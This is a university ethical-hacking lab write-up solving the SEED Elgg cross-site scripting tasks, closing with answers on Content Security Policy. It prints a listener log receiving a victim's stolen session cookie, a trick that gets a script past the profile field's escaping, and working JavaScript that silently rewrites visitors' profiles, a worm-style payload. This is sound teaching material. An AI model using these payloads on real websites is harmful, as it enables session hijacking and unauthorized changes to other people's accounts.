1 XSS Lab Writeup

Ethical Hacking 2021/22, University of Padua

Eleonora Losiouk, Alessandro Brighente, Denis Donadel, Gabriele Orazi

---

1.1 Task 1

Access one of the users, go to the profile and add the payload on the `Brief description` field. Then, when someone goes to the profile page, a popup will be triggered (you can, of course, try it by going to the page). If you want, you can try to create an http server on your machine and serve a `.js` with the same payload to trigger the alert using the second payload. You can easily do it using inline Python3:

```
python -m http.server 8000
```

1.2 Task 2

It is similar to the first task, but this time you have to use the new payload, which will print in the popup message your cookies of the website.

1.3 Task 3

By placing the malicious payload on a user profile page and reloading it you can see a request in your server:

```
$ nc -lvkn 5555
Listening on 0.0.0.0 5555
Connection received on 192.168.1.24 52212
GET /?c=Elgg%3Dl3hp5g1h5tg90o6nr1j8t7fo92 HTTP/1.1          (1)
Host: 10.9.0.1:5555
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
    Chrome/96.0.4664.110 Safari/537.36
DNT: 1
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://www.seed-server.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en;q=0.9,it-IT;q=0.8,it;q=0.7,en-US;q=0.6
```

You can clearly see the ((https://www.w3schools.com/tags/ref_urlencode.asp)[URL-escaped]) cookie in the GET request path (Line (1)). If another user goes to the page, you will receive its cookie.

1.4 Task 4

By using your favorite tool, you can intercept the "`Add Friend`" request, which looks like the following:

```
GET /action/friends/add?friend=59&__elgg_ts=1640265543&__elgg_token=QMGtWpsufBBOmDje9KztjQ HTTP/1.1
Host: www.seed-server.com
Accept: application/json, text/javascript, */*; q=0.01
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
```

```
    Chrome/96.0.4664.110 Safari/537.36
Referer: http://www.seed-server.com/profile/samy
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en;q=0.9,it-IT;q=0.8,it;q=0.7,en-US;q=0.6
Cookie: Elgg=l3hp5g1h5tg90o6nr1j8t7fo92
Connection: close
```

You can easily spot the different parameters which are sent in the GET request. So, you can set the request in the provided code snipped such as:

```
var sendurl="http://www.seed-server.com/action/friends/add?friend=59"+ts+token;
```

Question 1.: you need code Lines (1) and (2) to append to the URL the victim's cookies which are employed to identify the victim, i.e., the user, which will add Samy as a friend.

Question 2.: a possible solution could be to host a `.js` file and use the trick in the second part of Task 1. There is another option if you still want to use the `About me` field. You can use `Burp Suite` (or another tool) to intercept the POST request sent when modifying the profile. Then, you can edit the escaped content from something like this:

```
------WebKitFormBoundaryyYUsoYXxbB4RNhJL
Content-Disposition: form-data; name="description"

<p>&lt;script&gt;alert("ciao")&lt;/script&gt;</p>
```

to this:

```
------WebKitFormBoundaryyYUsoYXxbB4RNhJL
Content-Disposition: form-data; name="description"

<p><script>alert("ciao")</script></p>
```

---

2 Task 5

You can observe the page triggered to modify the profile with your favorite tool. Then, you can craft the response like:

```
<script type="text/javascript">
    window.onload = function() {

        //JavaScript code to access user name, user guid, Time Stamp __elgg_ts
        //and Security Token __elgg_token
        var userName="&name="+elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;

        //Construct the content of your url.
        var new_description = "Hello World!";
        var content=token+ts+guid+userName+"&description="+new_description;
        var samyGuid="59";
        var sendurl="http://www.seed-server.com/action/profile/edit";

        if(elgg.session.user.guid != samyGuid) {
            //Create and send Ajax request to modify profile
            var Ajax=null;
```

```
            Ajax=new XMLHttpRequest();
            Ajax.open("POST", sendurl, true);

            Ajax.setRequestHeader("Content-Type",
                                  "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>
```

Question 3.: Line (1) is needed to avoid replacing Samy's `About me`.

2.1 Task 6

Both the approaches are a composition of the previous tasks. The *link* approach is almost straightforward since you simply have to place the code in a file, host it and place the script in the description. The second approach is instead contained in [samy-worm.html]. It is the payload you have to place in Samy's description to trigger the worm.

2.2 Task 7

1. *Describe and explain your observations when you visit these websites.*: The `a` website has no CSP since all the JS codes are executed (i.e., seven `OK` are displayed). In the `b` website CSP is enforced in the Apache config, but code coming from the same domain or a specific domain (in this case, `example70.com`) is accepted. Finally, the `c` website contains a CSP in the web application (`php`), which accepts every script coming from the self domain with a particular nonce and codes coming from a specified domain (even in this case, `example70.com`) [1].
2. *Click the button in the web pages from all the three websites, describe and explain your observations.*: the button works only in the `a` version of the website, which does not include any CSP. Even the default CSP blocks unsafe inline code execution. To execute them even with CSP, you have to add the `'unsafe-inline'` source [1].
3. *Change the server configuration on `example32b` (modify the Apache configuration), so Areas 5 and 6 display `OK`.*: it needs only to modify the `apache_csp.conf` file adding the new website, and removing everything else. To remove even script from the same domain, you can use `'none'` [1].

```
# Purpose: Setting CSP policies in Apache configuration
<VirtualHost *:80>
    DocumentRoot /var/www/csp
    ServerName www.example32b.com
    DirectoryIndex index.html
    Header set Content-Security-Policy " \
            script-src 'none' *.example70.com *.example60.com \
        "
</VirtualHost>
```

4. *Change the server configuration on `example32c` (modify the PHP code), so Areas 1, 2, 4, 5, and 6 all display `OK`.*: in this case it is sufficient to edit the `phpindex.php` file:

```
    <?php
    $cspheader = "Content-Security-Policy:".
                 "default-src 'self';".
                 "script-src 'self' 'nonce-111-111-111' 'nonce-222-222-222'
```

```
                    *.example70.com *.example60.com".
                "";
    header($cspheader);
    ?>

    <?php include 'index.html';?>
```

5. *Please explain why CSP can help prevent Cross-Site Scripting attacks.*: Malicious scripts crafted by users generally cause XSS. Creating a complete and well-structured CSP makes it possible to block every Javascript execution besides the needed ones, enforcing the XSS protection. Anyway, even if CSP is a fundamental tool to counteract XSS attacks, it is important to remember researchers have demonstrated that it is possible to bypass CSP to perform XSS in some cases [2].

---

3 References:

[1] Mozilla Developer, *CSP: script-src documentation*

[2] Michele Spagnuolo, *So we broke all CSPs ... You won't guess what happened next!*

3.1 Bonus: another approach for Task 5

The request can also be structured using the `multipart/form-data` content type. It has no advantages, and it is more complex. Generally, if you intercept a request looking like the following, you can rewrite the request as in the previous solution of Task 5. The original request looks like this:

```
POST /action/profile/edit HTTP/1.1
Host: www.seed-server.com
Content-Length: 2550
Cache-Control: max-age=0
Origin: http://www.seed-server.com
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyYUsoYXxbB4RNhJL
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
    Chrome/96.0.4664.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,
    image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.seed-server.com/profile/samy/edit
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en;q=0.9,it-IT;q=0.8,it;q=0.7,en-US;q=0.6
Cookie: Elgg=1uhps2kcf7dk4a2tfrahrnn0mm
Connection: close

------WebKitFormBoundaryyYUsoYXxbB4RNhJL
Content-Disposition: form-data; name="__elgg_token"

m4GM_c3xkvV4r4zmaQ5ZZw
------WebKitFormBoundaryyYUsoYXxbB4RNhJL
Content-Disposition: form-data; name="__elgg_ts"

1640267282
```

```
------WebKitFormBoundaryyYUsoYXxbB4RNhJL
Content-Disposition: form-data; name="name"

Samy
------WebKitFormBoundaryyYUsoYXxbB4RNhJL
Content-Disposition: form-data; name="description"

<p><script>alert("This is the about me content!")</script></p>

------WebKitFormBoundaryyYUsoYXxbB4RNhJL
Content-Disposition: form-data; name="accesslevel[description]"

2
...
```

Using this content type, the resulting code will be something like this:

```
<script type="text/javascript">
    window.onload = function() {

        //JavaScript code to access user name, user guid, Time Stamp __elgg_ts
        //and Security Token __elgg_token
        var userName="&name="+elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;

        //Construct the content of your url.
        var new_description = "Hello World!";
        var content=`
------WebKitFormBoundaryyYUsoYXxbB4RNhJL
Content-Disposition: form-data; name="__elgg_token"

`+elgg.security.token.__elgg_token+`
------WebKitFormBoundaryyYUsoYXxbB4RNhJL
Content-Disposition: form-data; name="__elgg_ts"

`+elgg.security.token.__elgg_ts+`
------WebKitFormBoundaryyYUsoYXxbB4RNhJL
Content-Disposition: form-data; name="name"

`+elgg.session.user.name+`
------WebKitFormBoundaryyYUsoYXxbB4RNhJL
Content-Disposition: form-data; name="description"

`+new_description+`

------WebKitFormBoundaryyYUsoYXxbB4RNhJL
Content-Disposition: form-data; name="guid"

`+elgg.session.user.guid+`
------WebKitFormBoundaryyYUsoYXxbB4RNhJL--`;

        var samyGuid="59";
        var sendurl="http://www.seed-server.com/action/profile/edit";
```

```
        alert(content);

        if(elgg.session.user.guid != samyGuid) {                    // (1)
            //Create and send Ajax request to modify profile
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST", sendurl, true);

            Ajax.setRequestHeader(
                "Content-Type",
                "multipart/form-data; " +
                "boundary=----WebKitFormBoundaryyYUsoYXxbB4RNhJL");
            Ajax.send(content);
        }
    }
</script>
```